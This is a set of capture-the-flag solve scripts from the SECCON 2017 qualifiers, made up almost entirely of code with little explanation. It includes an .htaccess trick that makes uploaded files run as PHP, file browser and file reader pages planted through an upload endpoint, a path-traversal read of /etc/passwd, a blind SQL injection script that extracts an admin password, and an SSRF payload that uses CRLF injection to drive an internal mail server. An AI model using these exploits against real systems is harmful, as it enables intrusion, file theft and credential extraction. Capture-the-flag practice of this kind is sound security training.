seccon 2017 予選 スクリプトたち

.htaccess

<FilesMatch "\.test$">
     SetHandler application/x-httpd-php
</FilesMatch>

attack.php

<?php
$dir = $_GET['dir'];
echo '<form action="" method="GET"><input type="text" name="dir" value="' . $dir . '"><input type="submit" value="ls"></form>';

if (!is_dir($dir)) {
    exit;
}

$result = scandir($dir);
echo '<ul>';
foreach ($result as $f) {
    $p = $dir . '/' . $f;
    if (is_dir($p)) {
        echo '<li><a href="attack.test?dir=' . urlencode($p) . '">' . htmlspecialchars($f) . '</a></li>';
    } else if (is_file($p)) {
        echo '<li><a href="show.test?path=' . urlencode($p) . '">' . htmlspecialchars($f) . '</a></li>';
    }
}
echo '</ul>';
?>

automatic_door.py

import requests

URL = "http://automatic_door.pwn.seccon.jp/0b503d0caf712352fc200bc5332c4f95"


def write(filename, file_content):
    action = "write"
    files = {
        "file": file_content,
    }
    res = requests.post(URL + "/?action={}&filename={}".format(action, filename), files=files).text
    print(res)


def read(filename):
    action = "read"
    res = requests.get(URL + "/?action={}&filename={}".format(action, filename)).text
    print(res)


write("attack.test", open('attack.php', 'rb').read())
write("show.test", open('show.php', 'rb').read())

path = "/etc/passwd"
read("../../../../../.." + path)

show.php

<?php
$path = $_GET['path'];
echo '<h2>' . $path . '</h2>';
echo '<pre>';
echo htmlspecialchars(file_get_contents($path));
echo '</pre>';

sqlsrf01_blind_sql_injection.py

# -*- coding: utf-8 -*-
import sys
import requests

URL = "http://sqlsrf.pwn.seccon.jp/sqlsrf/index.cgi?"


def check_strlen(i):
    params = {
        "user": "' UNION SELECT '58474452dda5c2bdc1f6869ace2ae9e3' FROM users WHERE username='admin' AND length(password) = {};--".format(i),
        "pass": "admin",
        "login": "login",
    }
    res = requests.post(URL, data=params).text
    return "Error!" not in res


def check(i, cond):
    params = {
        "user": "' UNION SELECT '58474452dda5c2bdc1f6869ace2ae9e3' FROM users WHERE username='admin' AND substr(password, {0}, 1) {1};--".format(i + 1, cond),
        "pass": "admin",
        "login": "login",
    }
    res = requests.post(URL, data=params).text
    return "Error!" not in res


def search_char(i, chars):
    # 二分探索
    lo = 0
    hi = len(chars)
    while lo < hi - 1:
        mid = (lo + hi) // 2
        mid_char = chr(chars[mid])
        if check(i, "< '{}'".format(mid_char)):
            hi = mid
        else:
            lo = mid
    return chr(chars[lo])


def crange(start_char, end_char):
    return range(ord(start_char), ord(end_char) + 1)


def search(i):
    chars = None
    if check(i, "<= '9'"):
        chars = crange('0', '9')
    elif check(i, "<= 'z'"):
        chars = crange('a', 'z')
    else:
        raise RuntimeError("flag char is out of range...")
    return search_char(i, chars)


if __name__ == '__main__':
    password_length = 0
    for i in range(1, 50):
        if check_strlen(i):
            password_length = i
            break
    print("password length: {}".format(password_length))
    sys.stdout.write("encrypt password: ")
    sys.stdout.flush()
    for i in range(password_length):
        sys.stdout.write(search(i))
        sys.stdout.flush()
    print()
    print("done.")

sqlsrf02_send_email_to_root.py

import requests
from pyquery import PyQuery as pq
import html

URL = "http://sqlsrf.pwn.seccon.jp/sqlsrf/menu.cgi?"
MY_EMAIL_ADDRESS = "<input here your address>"

commands = [
    "EHLO 127.0.0.1",
    "MAIL FROM: " + MY_EMAIL_ADDRESS,
    "RCPT TO: root",
    "DATA",
    "From: [email protected]",
    "To: " + MY_EMAIL_ADDRESS,
    "Subject: give me flag",
    "Hello",
    ".",
    "QUIT",
]

data = {
    'cmd': "wget --debug -O /dev/stdout 'http://",
    'args': "127.0.0.1%0d%0a{}%0a:25/".format("%0a".join(commands).replace(":", "%3a").replace("@", "%40"))
}


data2 = {
    "cmd": "netstat -tnl",
    "args": "--help"
}

headers = {
    "Cookie": "remember=d2f37e101c0e76bcc90b5634a5510f64; CGISESSID=beb1229d5c77b445e59b9c2622f20d86",
}

res = requests.post(URL, data=data, headers=headers).text
d = html.unescape(pq(res).find('pre').text())
if d != '':
    print(d)
else:
    print(res)